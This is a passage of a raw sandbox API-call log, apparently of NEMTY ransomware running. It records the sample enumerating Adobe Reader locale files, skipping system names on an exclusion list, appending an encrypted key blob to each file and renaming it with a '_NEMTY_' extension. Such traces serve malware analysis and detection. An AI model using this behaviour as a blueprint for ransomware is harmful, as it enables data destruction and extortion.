lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa200, lpOverlapped=0x0) returned 1 [0178.014] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.014] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa200, lpOverlapped=0x0) returned 1 [0178.014] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0178.014] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=41472, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa200 [0178.015] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.015] CloseHandle (hObject=0x2e8) returned 1 [0178.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0178.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.015] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0178.015] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0178.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0178.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.015] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\EScript.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\escript.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\EScript.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\escript.hun._nemty_kgobjgd_")) returned 1 [0178.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0178.015] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0178.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0178.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.016] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.016] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x831e3ae0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.HUN", cAlternateFileName="")) returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2=".") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="..") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="...") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="windows") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="rsa") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="NTDETECT.COM") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="ntldr") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="MSDOS.SYS") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="IO.SYS") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="boot.ini") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="boot.ini") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="ntuser.dat") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="desktop.ini") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="CONFIG.SYS") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="RECYCLER") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="bootmgr") returned 1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="programdata") returned -1 [0178.016] lstrcmpiW (lpString1="IA32.HUN", lpString2="appdata") returned 1 [0178.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.016] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HUN", lpUsedDefaultChar=0x0) returned 8 [0178.016] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HUN", lpUsedDefaultChar=0x0) returned 8 [0178.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HUN", lpUsedDefaultChar=0x0) returned 8 [0178.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0178.017] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.HUN", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.HUN", lpUsedDefaultChar=0x0) returned 8 [0178.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0178.017] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0178.017] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0178.017] Sleep (dwMilliseconds=0x5) [0178.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dc21030, dwHighDateTime=0x1d561e8)) [0178.025] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dc21030, dwHighDateTime=0x1d561e8)) [0178.025] GetLastError () returned 0x0 [0178.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.025] GetLastError () returned 0x0 [0178.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.025] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.025] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.025] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.025] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0178.025] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="eThGeqmDD7Li8YFvLD9Og59PtykBMwvXrFr2hCUhvvc1XNYC9LgRcLQ7n0MmYxG2\r\nsJN3UQHRFHCUkXmD7esnCbbSvYlfVtECdX6plmczR5a/6V9hI2yVqZQuI5YF0e4M\r\nNLBg0sV1AgxXjsxcPTKtuRmQ28yqOzzuKWPeuokCp0HfYUZVUDhGEFtgI86koPr8\r\nfMDa5Jo58l7KkkApWnw9lVMhSN0pfAuaHqn7th5RdO6ziE1lnuL8/hv7Qh0xyWbd\r\nUDhgdSX4oYxnuCv6p2gzwqePuKwV2NeqIUkJ1GXndIiiLDVHB+vEwNHJJthkKHqH\r\nfJNMpjg43pm2t93tKxnXXQ==\r\n", pcchString=0x653e5dc) returned 1 [0178.025] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0178.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.026] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0178.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0178.026] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0178.026] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\IA32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ia32.hun"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0178.027] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0178.027] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0178.027] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.027] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0178.028] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0178.028] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0178.028] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0178.028] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0178.028] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0178.029] CloseHandle (hObject=0x2e8) returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0178.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0178.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.029] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0178.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0178.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0178.029] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0178.029] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\IA32.HUN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ia32.hun"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\hu_HU\\IA32.HUN._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\hu_hu\\ia32.hun._nemty_kgobjgd_")) returned 1 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0178.029] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0178.030] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db4daa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.HUN", cAlternateFileName="MAKEAC~1.HUN")) returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2=".") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="..") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="...") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="windows") returned -1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="$RECYCLE.BIN") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="rsa") returned -1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="NTDETECT.COM") returned -1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="ntldr") returned -1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="MSDOS.SYS") returned -1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="IO.SYS") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="boot.ini") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="boot.ini") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="AUTOEXEC.BAT") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="ntuser.dat") returned -1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="desktop.ini") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="CONFIG.SYS") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="RECYCLER") returned -1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="BOOTSECT.BAK") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="bootmgr") returned 1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="programdata") returned -1 [0178.030] lstrcmpiW (lpString1="makeaccessible.HUN", lpString2="appdata") returned 1 [0178.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.HUN", lpUsedDefaultChar=0x0) returned 18 [0178.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0178.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.030] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.030] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.HUN", lpUsedDefaultChar=0x0) returned 18 [0178.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0178.030] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0178.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0178.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.HUN", lpUsedDefaultChar=0x0) returned 18 [0178.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0178.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0178.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0178.031] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.HUN", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.HUN", lpUsedDefaultChar=0x0) returned 18 [0178.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0178.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0178.031] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0178.031] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0178.031] Sleep (dwMilliseconds=0x5) [0178.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dc47190, dwHighDateTime=0x1d561e8)) [0178.041] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1dc47190, dwHighDateTime=0x1d561e8)) [0178.041] GetLastError () returned 0x0 [0178.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0178.041] GetLastError () returned 0x0 [0178.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0178.041] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0178.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0178.041] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0178.041] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0178.041] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0178.041] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0178.041] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: 